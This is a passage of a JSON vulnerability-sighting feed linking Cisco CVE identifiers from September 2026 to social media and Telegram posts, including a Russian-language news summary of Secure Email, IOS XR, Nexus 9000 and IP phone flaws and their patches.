"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20279", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mumlia5fbs2h", "content": "\ud83d\udd17 CVE : CVE-2026-20212, CVE-2026-20274, CVE-2026-20275, CVE-2026-20276, CVE-2026-20277, CVE-2026-20278, CVE-2026-20279, CVE-2026-20280, CVE-2026-20281", "creation_timestamp": "2026-09-03T13:45:12.753266Z"}, {"uuid": "a97fb327-1c95-421f-b1a7-c1b648785b60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20280", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mumlia5fbs2h", "content": "\ud83d\udd17 CVE : CVE-2026-20212, CVE-2026-20274, CVE-2026-20275, CVE-2026-20276, CVE-2026-20277, CVE-2026-20278, CVE-2026-20279, CVE-2026-20280, CVE-2026-20281", "creation_timestamp": "2026-09-03T13:45:12.806683Z"}, {"uuid": "3fe3ec23-6aae-4db7-9418-85bc498b6d41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20281", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mumlia5fbs2h", "content": "\ud83d\udd17 CVE : CVE-2026-20212, CVE-2026-20274, CVE-2026-20275, CVE-2026-20276, CVE-2026-20277, CVE-2026-20278, CVE-2026-20279, CVE-2026-20280, CVE-2026-20281", "creation_timestamp": "2026-09-03T13:45:12.849991Z"}, {"uuid": "b549c48d-bb8d-4d8f-bc8c-c8edc992f1c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20354", "type": "seen", "source": "https://t.me/pphm_HackerNews/2985", "content": "\ud83d\udd34 Cisco Warns of Unpatched Secure Email Flaws, Patches Critical Switch Vulnerabilities\n\nCisco on Wednesday warned that two unpatched vulnerabilities in its enterprise email security product Secure Email have been publicly disclosed.\n\nThe two flaws, tracked as CVE-2026-20354 and CVE-2026-20355, are medium-severity issues affecting the Secure/Multipurpose Internet Mail Extensions (S/MIME) decryption functionality of the threat protection solution.\n\nAccording to Cisco, insufficient validation of message integrity can allow an attacker to intercept and modify traffic between email gateways using a man-in-the-middle (MitM) technique.", "creation_timestamp": "2026-09-03T16:00:06.384530Z"}, {"uuid": "1e752872-2c93-4c7c-aa1c-26be8eaf6704", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20355", "type": "seen", "source": "https://t.me/pphm_HackerNews/2985", "content": "\ud83d\udd34 Cisco Warns of Unpatched Secure Email Flaws, Patches Critical Switch Vulnerabilities\n\nCisco on Wednesday warned that two unpatched vulnerabilities in its enterprise email security product Secure Email have been publicly disclosed.\n\nThe two flaws, tracked as CVE-2026-20354 and CVE-2026-20355, are medium-severity issues affecting the Secure/Multipurpose Internet Mail Extensions (S/MIME) decryption functionality of the threat protection solution.\n\nAccording to Cisco, insufficient validation of message integrity can allow an attacker to intercept and modify traffic between email gateways using a man-in-the-middle (MitM) technique.", "creation_timestamp": "2026-09-03T16:00:06.424190Z"}, {"uuid": "3a5963f3-9070-4794-a911-5fa1d24e248c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mumtq4z6mw2w", "content": "~Recordedfuture~\nAttackers increasingly abused exposed software, trusted tools, supply chains, and AI-assisted workflows.\n-\nIOCs: CVE-2026-20131, CVE-2025-68947, CVE-2023-27532\n-\n#Malware #ThreatIntel #Vulnerability", "creation_timestamp": "2026-09-03T16:12:47.820637Z"}, {"uuid": "ccde9de9-9d25-499d-9fbd-6f048bf39bb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mumxrjgvmf2q", "content": "\ud83e\udd16 CVE-2026-20212 (CVSS 9.8): unauthenticated remote RCE as root in Cisco Nexus 9000 switches (Silicon One). Patches out; IOS XR hardening bundles 7 umbrella CVEs, 2 rated 9.8. No workaround.\nhttps://thehackernews.com/2026/09/critical-cisco-nexus-9000-flaw-lets.html", "creation_timestamp": "2026-09-03T17:25:09.465930Z"}, {"uuid": "3d34fb6b-5399-4078-b50c-29bb98adaf1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3mun2bsvynp22", "content": "CVE-2026-20212: Cisco Nexus 9000 with Silicon One ASIC Exposed to Pre-Auth Root RCE", "creation_timestamp": "2026-09-03T18:10:04.874259Z"}, {"uuid": "69d6a382-0286-4005-bf7e-a30c0a7a7e88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "Telegram/dtxzl7YLRK8VtMXpzvGqJXhrQTbbTEqS41s3iIGrOlk6gw", "content": "", "creation_timestamp": "2026-09-03T19:00:04.760702Z"}, {"uuid": "4e37109c-8e82-49c2-8b0a-5afd6959f46e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20274", "type": "seen", "source": "https://t.me/true_secator/8577", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u0432\u0443\u0445 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Secure Email \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u041f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 S/MIME \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 IOS XR \u0438 Nexus \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCVE-2026-20354\u00a0\u0438\u00a0CVE-2026-20355 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 Secure/Multipurpose Internet Mail Extensions (S/MIME) \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0443\u0433\u0440\u043e\u0437.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u043c\u0435\u0436\u0434\u0443 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u043c\u0438 \u0448\u043b\u044e\u0437\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 MitM.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Secure Email, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c AsyncOS \u0432\u0435\u0440\u0441\u0438\u0438 16.5.0 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 S/MIME.\n\nCisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u043d\u044b, \u043d\u043e \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 IOS XR \u0438 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0430\u0442\u0430\u043a.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f IOS XR \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043e\u0448\u0438\u0431\u043e\u043a, \u0441\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0435\u043c\u0438 CVE, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9,8: CVE-2026-20274 \u0438 CVE-2026-20279.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.\n\n\u0412 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 CVE-2026-20212 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 9,8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e TCP-\u043f\u043e\u0440\u0442\u0430\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Cisco \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441\u0435\u0440\u0438\u0439 Desk Phone 9800, IP Phone 7800 \u0438 8800, \u0430 \u0442\u0430\u043a\u0436\u0435 Video Phone 8875, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 SIP.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2026-20281, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c DoS.\n\nCisco \u0437\u0430\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c.", "creation_timestamp": "2026-09-03T19:00:05.569268Z"}, {"uuid": "699e239a-6127-48b2-a3ae-db41ee1b1a57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20279", "type": "seen", "source": "https://t.me/true_secator/8577", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u0432\u0443\u0445 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Secure Email \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u041f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 S/MIME \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 IOS XR \u0438 Nexus \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCVE-2026-20354\u00a0\u0438\u00a0CVE-2026-20355 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 Secure/Multipurpose Internet Mail Extensions (S/MIME) \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0443\u0433\u0440\u043e\u0437.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u043c\u0435\u0436\u0434\u0443 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u043c\u0438 \u0448\u043b\u044e\u0437\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 MitM.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Secure Email, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c AsyncOS \u0432\u0435\u0440\u0441\u0438\u0438 16.5.0 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 S/MIME.\n\nCisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u043d\u044b, \u043d\u043e \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 IOS XR \u0438 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 